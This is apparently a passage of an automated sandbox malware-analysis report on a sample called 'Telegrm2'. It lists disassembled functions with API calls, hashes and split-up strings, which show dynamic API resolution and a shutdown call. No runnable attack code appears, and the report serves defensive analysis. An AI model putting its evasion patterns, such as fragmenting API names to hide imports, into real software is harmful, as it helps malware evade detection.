Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: 0d1d7dabd5a7529cda664a5c36b5a6e15a5721f096bae069a19ee0cd53d00cbe
Instruction ID: f0e00c04c9593af26e0984e47d658ae5611515b7b278547a9397571db0865c92
Opcode Fuzzy Hash: 0d1d7dabd5a7529cda664a5c36b5a6e15a5721f096bae069a19ee0cd53d00cbe
Instruction Fuzzy Hash: DB21AB72704BC197EB29CB35DA447EABBA0F789749F04812AC7198B344DF39D468C700

Function 033472F0 Relevance: 3.3, APIs: 2, Instructions: 311COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 03347562
_get_daylight.LIBCMT ref: 033475E8

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _get_daylight
String ID:
API String ID: 4143689357-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: b5bae0f6cbea5fdb5b9a57ba0c4e7527c83ee827c2e33457a3f1277c816f79ef
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: 91911071B146054FD71CDF28DCC26B5B7DAE399204B18917ED887CB7A6EB30F5028A81

Function 03349BFC Relevance: 3.2, APIs: 2, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 03349C41
_set_error_mode.LIBCMT ref: 03349C52

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _set_error_mode
String ID:
API String ID: 1949149715-0
Opcode ID: 4a6ef05bb1344ac240cbe714e762fe31f78d8db34911ef9df8dbf64b02ac3932
Instruction ID: 1d28c64b006a8f856663541135ff9aa7207c59bd282b69f7eee4568a0bbe2f68
Opcode Fuzzy Hash: 4a6ef05bb1344ac240cbe714e762fe31f78d8db34911ef9df8dbf64b02ac3932
Instruction Fuzzy Hash: 5651D134A18A484BDB2CEF38AC9967BB3D5FB89300F04456EE84BC7191EF34E5058786

Function 03637938 Relevance: 3.2, APIs: 2, Instructions: 235COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 03637BAA

Part of subcall function 03638224: _errno.LIBCMT ref: 0363822D
Part of subcall function 03638224: _invalid_parameter_noinfo.LIBCMT ref: 03638238

_get_daylight.LIBCMT ref: 03637C30

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _get_daylight$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3559991230-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: 3d3c5f951000f36879c127fe247d9d0006819caa4fd78700e7fe72e0b85b2a0f
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: EE8158B2B146458BD31DCF19EE81768B6ABF3D9300F489135EE06CBB94EB39E6008740

Function 0363CC80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0363CCA7

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

GetLocaleInfoA.KERNEL32 ref: 0363CCDC

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: 5705fe9de9e157a2e3cae8713e8d2649932cfe5d572dd4c556fb6d9254b7d2dd
Instruction ID: 15e18fb797f0858d9164eac96bae01f5d55338ba171a942acc0f2a44b9d817ab
Opcode Fuzzy Hash: 5705fe9de9e157a2e3cae8713e8d2649932cfe5d572dd4c556fb6d9254b7d2dd
Instruction Fuzzy Hash: 3511D032704BC496DB29CF25E9453DAB7A4F38AB80F488126EB5D9B314DF39E525C740

Function 03636A70 Relevance: 1.7, APIs: 1, Instructions: 156COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03636AAA

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

Part of subcall function 0363739C: _errno.LIBCMT ref: 036373B4
Part of subcall function 0363739C: _invalid_parameter_noinfo.LIBCMT ref: 036373C0

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _amsg_exit_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 1050512615-0
Opcode ID: 63d5376f7ad8fc802d07a42a5e8d8134ff05aa5f227477d242ca8ca847e69a33
Instruction ID: eb8a23e5d1aaa20c0935c31d3cbf461ecdad26c6173ffdeaf563c1cb36ab35c6
Opcode Fuzzy Hash: 63d5376f7ad8fc802d07a42a5e8d8134ff05aa5f227477d242ca8ca847e69a33
Instruction Fuzzy Hash: 3B51E96631478162EB25DB23E79076BA765F797BC4F4884259F4A4BB18DF39C022C704

Function 0363CD68 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0363CD9C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ef0ae90558a2563977780bc8b992b878a5525057e93b521f65adeab4ce995e93
Instruction ID: 2c7a7e41b09dd7060aabc40019fc91516366839355501a1cd33b1fc79dfec533
Opcode Fuzzy Hash: ef0ae90558a2563977780bc8b992b878a5525057e93b521f65adeab4ce995e93
Instruction Fuzzy Hash: 4F01D437A10A8086D7249B2AE5503B97F60E7C6F84F4D8121FB9A6B705CA35D983C744

Function 0363D1F8 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32 ref: 0363D248

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 489544c5c1561f8a60114285fa019722ad62f90afbd21461303d513425ade99a
Instruction ID: a94fe7fc83096da1791aa9e9bc951b97e32c3e1de4d3c19de0fa81c886054471
Opcode Fuzzy Hash: 489544c5c1561f8a60114285fa019722ad62f90afbd21461303d513425ade99a
Instruction Fuzzy Hash: F3019EB76087048BEB19DF31C5593AE77A1F786B0DF088819CB0907399C7B8C6A5C789

Function 0363D290 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32 ref: 0363D2C5

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: bc37c9b42174135312cbea834ff9070d3af06bb7d383e6c7897b2d83843f5dbd
Instruction ID: 549237359742f8adef03da48db825a3b204de7832c91ca663b5286f14ee594a7
Opcode Fuzzy Hash: bc37c9b42174135312cbea834ff9070d3af06bb7d383e6c7897b2d83843f5dbd
Instruction Fuzzy Hash: 68F02B62B04A084BFB19CB31D5553A627A2E7D6B09F1CC415CB0907385C7B9C2A28248

Function 0362E6F6 Relevance: 1.5, APIs: 1, Instructions: 12shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03622DB0: LoadLibraryA.KERNEL32 ref: 03622DE1
Part of subcall function 03622DB0: GetProcAddress.KERNEL32 ref: 03622DF4
Part of subcall function 03622DB0: GetProcAddress.KERNEL32 ref: 03622E07
Part of subcall function 03622DB0: GetProcAddress.KERNEL32 ref: 03622E1A
Part of subcall function 03622DB0: LoadLibraryA.KERNEL32 ref: 03622E2A
Part of subcall function 03622DB0: GetProcAddress.KERNEL32 ref: 03622E3D
Part of subcall function 03622DB0: LoadLibraryA.KERNEL32 ref: 03622EA6
Part of subcall function 03622DB0: GetProcAddress.KERNEL32 ref: 03622EB6
Part of subcall function 03622DB0: CloseHandle.KERNEL32 ref: 03622ECC
Part of subcall function 03622DB0: FreeLibrary.KERNEL32 ref: 03622EDA
Part of subcall function 03622DB0: FreeLibrary.KERNEL32 ref: 03622EE8

ExitWindowsEx.USER32 ref: 0362E706

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseExitHandleWindows
String ID:
API String ID: 3789203340-0
Opcode ID: b68418adac8e66983115cef8cbfa72da0d8c9e8de32800c15d5dd586479a703b
Instruction ID: fecaf31b2c37844a61c799375433431d7c40da1e047a49fbbcd04de75ff45f1c
Opcode Fuzzy Hash: b68418adac8e66983115cef8cbfa72da0d8c9e8de32800c15d5dd586479a703b
Instruction Fuzzy Hash: 15D0237170899041D3495F31A0303F96751F74C751F494815EF470A145CC3DC1419B40

Function 0333D42B Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

<, xrefs: 0333D5CC

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 73098f46f60a16aae0a72572a1ec70f99aad56feaba569bcaf3d060d2753bf39
Instruction ID: c454c7e218aaa4849298febe4f81bda382fa7ad0519de68b6b0ea05c2eb0b9a3
Opcode Fuzzy Hash: 73098f46f60a16aae0a72572a1ec70f99aad56feaba569bcaf3d060d2753bf39
Instruction Fuzzy Hash: 04517330709A088FEB54EF28E899BA977E2FB95305F40851EE44BC3661DB79D845CB42

Function 0363664C Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

_.,, xrefs: 036366CC

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CurrentProcess
String ID: _.,
API String ID: 2050909247-2709443920
Opcode ID: 475248472f72194b0618221c2e98033d5b278d04194db3a7864dbaf8a8f8d17c
Instruction ID: a4d68f51cb80d8822479c5ba821bf84b2184c79d31e7243794f77b35b772f840
Opcode Fuzzy Hash: 475248472f72194b0618221c2e98033d5b278d04194db3a7864dbaf8a8f8d17c
Instruction Fuzzy Hash: C3414F2661078166EB34DB31DA89B6A6621E7877C4F8C892ACF8A4BB40DF79C025C304

Function 03331D38 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dab8ebfa01812288c2bd50781cb84577b5c6f6cad01aab0e39859907a87239e
Instruction ID: 87114ee5ad5fd191900a0cd5bae39ebb43a674702d7bfc1fc92e2a44ea195dec
Opcode Fuzzy Hash: 0dab8ebfa01812288c2bd50781cb84577b5c6f6cad01aab0e39859907a87239e
Instruction Fuzzy Hash: ECB1C130A18E098FCB19EF2CC8C567AB3E5FB5A7017148769E85AC7555DB30E852CBC0

Function 03341E58 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a5092d5cc288cda86c73315a18dfdcc9fc45c27ff5f31e837379ae7296e616
Instruction ID: a47a7ed2cc5d4aafb9b5b853c9b6ca75e82ffa9ef7fd500982ba612f43f8159e
Opcode Fuzzy Hash: 05a5092d5cc288cda86c73315a18dfdcc9fc45c27ff5f31e837379ae7296e616
Instruction Fuzzy Hash: B4A12830A14F494FDB58EF18C4C4776B7E1FB98301B5486ADE44ACB296DB79E882C781

Function 03331838 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61aec3bdabeeadfbc1d8e5710c9ac84fee701a44b258acd76909b7ab279bb187
Instruction ID: 9530a4765f15354774c79d49931807a73a4f981bd868ab233719a6051ad93f29
Opcode Fuzzy Hash: 61aec3bdabeeadfbc1d8e5710c9ac84fee701a44b258acd76909b7ab279bb187
Instruction Fuzzy Hash: DDA1AF30B08F459FD74EEB38C4956A5B7E1FF5A309B148229E48AC3A01DB34F4628BC1

Function 03333EE8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81d4822c4807a28f12dd8b260e015ce51efabee9554ea12fc3a4bfb19bb2c28
Instruction ID: 75821c6c16c71ce0cce749e522998b0c4244ce48c26e35719c7bada3db9d85de
Opcode Fuzzy Hash: b81d4822c4807a28f12dd8b260e015ce51efabee9554ea12fc3a4bfb19bb2c28
Instruction Fuzzy Hash: B061B731A08A488FD769EF35E8986AB77E1FBA9310F64456ED44BC71A0DF38D601C741

Function 03346004 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0a9c087c29423ca0a5297be30a63c1d1af4924b03ac0995c240b3f4ccd4690
Instruction ID: e71132ac28c9194656955885f899de35d5a4da931f9d59fdf720163c313faaa1
Opcode Fuzzy Hash: 5e0a9c087c29423ca0a5297be30a63c1d1af4924b03ac0995c240b3f4ccd4690
Instruction Fuzzy Hash: 1A41D834628B498FEB28EF3488C63BAB2D5F786204F09896D85D7C7151DF28F5458A81

Function 03645CC0 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction ID: 52a7360f428610e691f8770be417f231babcb767a57ae2191fdf69f23e6325f2
Opcode Fuzzy Hash: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction Fuzzy Hash: 2351DB72F142A18BD728CF18E508F6D7AA9FB94385B65E039DB139BF00D676C850CB44

Function 03646520 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c1b367784c7c181be0eb571fa2a0ccae9336b1902a828f38f4ce60cb9d9131b1
Instruction ID: 6d3f018eab7fd48930648943fcdc041748d3982cae08ac39fcb8404efed63ed2
Opcode Fuzzy Hash: c1b367784c7c181be0eb571fa2a0ccae9336b1902a828f38f4ce60cb9d9131b1
Instruction Fuzzy Hash: 5F319376612B5489DB1CEF72E86136E2365EB9A784F18D839DA9A4F709CF35C1118340

Function 0334B0FC Relevance: 107.8, APIs: 86, Instructions: 270COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0334B111

Part of subcall function 033436E0: _errno.LIBCMT ref: 03343700

free.LIBCMT ref: 0334B11A
free.LIBCMT ref: 0334B123
free.LIBCMT ref: 0334B12C
free.LIBCMT ref: 0334B135
free.LIBCMT ref: 0334B13E
free.LIBCMT ref: 0334B146
free.LIBCMT ref: 0334B14F
free.LIBCMT ref: 0334B158
free.LIBCMT ref: 0334B161
free.LIBCMT ref: 0334B16A
free.LIBCMT ref: 0334B173
free.LIBCMT ref: 0334B17C
free.LIBCMT ref: 0334B185
free.LIBCMT ref: 0334B18E
free.LIBCMT ref: 0334B197
free.LIBCMT ref: 0334B1A3
free.LIBCMT ref: 0334B1AF
free.LIBCMT ref: 0334B1BB
free.LIBCMT ref: 0334B1C7
free.LIBCMT ref: 0334B1D3
free.LIBCMT ref: 0334B1DF
free.LIBCMT ref: 0334B1EB
free.LIBCMT ref: 0334B1F7
free.LIBCMT ref: 0334B203
free.LIBCMT ref: 0334B20F
free.LIBCMT ref: 0334B21B
free.LIBCMT ref: 0334B227
free.LIBCMT ref: 0334B233
free.LIBCMT ref: 0334B23F
free.LIBCMT ref: 0334B24B
free.LIBCMT ref: 0334B257
free.LIBCMT ref: 0334B263
free.LIBCMT ref: 0334B26F
free.LIBCMT ref: 0334B27B
free.LIBCMT ref: 0334B287
free.LIBCMT ref: 0334B293
free.LIBCMT ref: 0334B29F
free.LIBCMT ref: 0334B2AB
free.LIBCMT ref: 0334B2B7
free.LIBCMT ref: 0334B2C3
free.LIBCMT ref: 0334B2CF
free.LIBCMT ref: 0334B2DB
free.LIBCMT ref: 0334B2E7
free.LIBCMT ref: 0334B2F3
free.LIBCMT ref: 0334B2FF
free.LIBCMT ref: 0334B30B
free.LIBCMT ref: 0334B317
free.LIBCMT ref: 0334B323
free.LIBCMT ref: 0334B32F
free.LIBCMT ref: 0334B33B
free.LIBCMT ref: 0334B347
free.LIBCMT ref: 0334B353
free.LIBCMT ref: 0334B35F
free.LIBCMT ref: 0334B36B
free.LIBCMT ref: 0334B377
free.LIBCMT ref: 0334B383
free.LIBCMT ref: 0334B38F
free.LIBCMT ref: 0334B39B
free.LIBCMT ref: 0334B3A7
free.LIBCMT ref: 0334B3B3
free.LIBCMT ref: 0334B3BF
free.LIBCMT ref: 0334B3CB
free.LIBCMT ref: 0334B3D7
free.LIBCMT ref: 0334B3E3
free.LIBCMT ref: 0334B3EF
free.LIBCMT ref: 0334B3FB
free.LIBCMT ref: 0334B407
free.LIBCMT ref: 0334B413
free.LIBCMT ref: 0334B41F
free.LIBCMT ref: 0334B42B
free.LIBCMT ref: 0334B437
free.LIBCMT ref: 0334B443
free.LIBCMT ref: 0334B44F
free.LIBCMT ref: 0334B45B
free.LIBCMT ref: 0334B467
free.LIBCMT ref: 0334B473
free.LIBCMT ref: 0334B47F
free.LIBCMT ref: 0334B48B
free.LIBCMT ref: 0334B497
free.LIBCMT ref: 0334B4A3
free.LIBCMT ref: 0334B4AF
free.LIBCMT ref: 0334B4BB
free.LIBCMT ref: 0334B4C7
free.LIBCMT ref: 0334B4D3
free.LIBCMT ref: 0334B4DF

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: ae6198145392757977ecbe8b8f839920410b1107c886aa5ccfc292de726e2415
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: 9EA1653872260A8FD6C9EFA5C8E57A873D1BF48250F8441B5C84DCFA66CE166C59C750

Function 0363B744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0363B759

Part of subcall function 03633D28: HeapFree.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D3E
Part of subcall function 03633D28: _errno.LIBCMT ref: 03633D48
Part of subcall function 03633D28: GetLastError.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D50

free.LIBCMT ref: 0363B762
free.LIBCMT ref: 0363B76B
free.LIBCMT ref: 0363B774
free.LIBCMT ref: 0363B77D
free.LIBCMT ref: 0363B786
free.LIBCMT ref: 0363B78E
free.LIBCMT ref: 0363B797
free.LIBCMT ref: 0363B7A0
free.LIBCMT ref: 0363B7A9
free.LIBCMT ref: 0363B7B2
free.LIBCMT ref: 0363B7BB
free.LIBCMT ref: 0363B7C4
free.LIBCMT ref: 0363B7CD
free.LIBCMT ref: 0363B7D6
free.LIBCMT ref: 0363B7DF
free.LIBCMT ref: 0363B7EB
free.LIBCMT ref: 0363B7F7
free.LIBCMT ref: 0363B803
free.LIBCMT ref: 0363B80F
free.LIBCMT ref: 0363B81B
free.LIBCMT ref: 0363B827
free.LIBCMT ref: 0363B833
free.LIBCMT ref: 0363B83F
free.LIBCMT ref: 0363B84B
free.LIBCMT ref: 0363B857
free.LIBCMT ref: 0363B863
free.LIBCMT ref: 0363B86F
free.LIBCMT ref: 0363B87B
free.LIBCMT ref: 0363B887
free.LIBCMT ref: 0363B893
free.LIBCMT ref: 0363B89F
free.LIBCMT ref: 0363B8AB
free.LIBCMT ref: 0363B8B7
free.LIBCMT ref: 0363B8C3
free.LIBCMT ref: 0363B8CF
free.LIBCMT ref: 0363B8DB
free.LIBCMT ref: 0363B8E7
free.LIBCMT ref: 0363B8F3
free.LIBCMT ref: 0363B8FF
free.LIBCMT ref: 0363B90B
free.LIBCMT ref: 0363B917
free.LIBCMT ref: 0363B923
free.LIBCMT ref: 0363B92F
free.LIBCMT ref: 0363B93B
free.LIBCMT ref: 0363B947
free.LIBCMT ref: 0363B953
free.LIBCMT ref: 0363B95F
free.LIBCMT ref: 0363B96B
free.LIBCMT ref: 0363B977
free.LIBCMT ref: 0363B983
free.LIBCMT ref: 0363B98F
free.LIBCMT ref: 0363B99B
free.LIBCMT ref: 0363B9A7
free.LIBCMT ref: 0363B9B3
free.LIBCMT ref: 0363B9BF
free.LIBCMT ref: 0363B9CB
free.LIBCMT ref: 0363B9D7
free.LIBCMT ref: 0363B9E3
free.LIBCMT ref: 0363B9EF
free.LIBCMT ref: 0363B9FB
free.LIBCMT ref: 0363BA07
free.LIBCMT ref: 0363BA13
free.LIBCMT ref: 0363BA1F
free.LIBCMT ref: 0363BA2B
free.LIBCMT ref: 0363BA37
free.LIBCMT ref: 0363BA43
free.LIBCMT ref: 0363BA4F
free.LIBCMT ref: 0363BA5B
free.LIBCMT ref: 0363BA67
free.LIBCMT ref: 0363BA73
free.LIBCMT ref: 0363BA7F
free.LIBCMT ref: 0363BA8B
free.LIBCMT ref: 0363BA97
free.LIBCMT ref: 0363BAA3
free.LIBCMT ref: 0363BAAF
free.LIBCMT ref: 0363BABB
free.LIBCMT ref: 0363BAC7
free.LIBCMT ref: 0363BAD3
free.LIBCMT ref: 0363BADF
free.LIBCMT ref: 0363BAEB
free.LIBCMT ref: 0363BAF7
free.LIBCMT ref: 0363BB03
free.LIBCMT ref: 0363BB0F
free.LIBCMT ref: 0363BB1B
free.LIBCMT ref: 0363BB27

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: ee57294937ec00a78bb68957dfb700f4bc262173795e00b3005a12635d34ccb0
Instruction ID: 88cecf72d27a29ff1905955d67e8b48f31387d634fbfa1a571455c36f56a3103
Opcode Fuzzy Hash: ee57294937ec00a78bb68957dfb700f4bc262173795e00b3005a12635d34ccb0
Instruction Fuzzy Hash: 5981542E211648A5DB41FB31D9A42BC2321EFC7F47F9469368A4EEF724CE20C8458354

Function 036232F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 036233B3
GetProcAddress.KERNEL32 ref: 036233C3
GetProcAddress.KERNEL32 ref: 036233D3
GetProcAddress.KERNEL32 ref: 036233E3

Strings

.dll, xrefs: 0362332D
ileT, xrefs: 03623354
ToSy, xrefs: 0362339A
Time, xrefs: 03623369
GetS, xrefs: 03623338
eAsF, xrefs: 0362334D
File, xrefs: 03623362
stem, xrefs: 036233A1
Time, xrefs: 036233A8
File, xrefs: 0362338C
Kern, xrefs: 0362331F
ToLo, xrefs: 03623370
calF, xrefs: 03623377
ime, xrefs: 0362335B
ime, xrefs: 03623385
Time, xrefs: 03623393
yste, xrefs: 0362333F
ileT, xrefs: 0362337E
el32, xrefs: 03623326
mTim, xrefs: 03623346

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
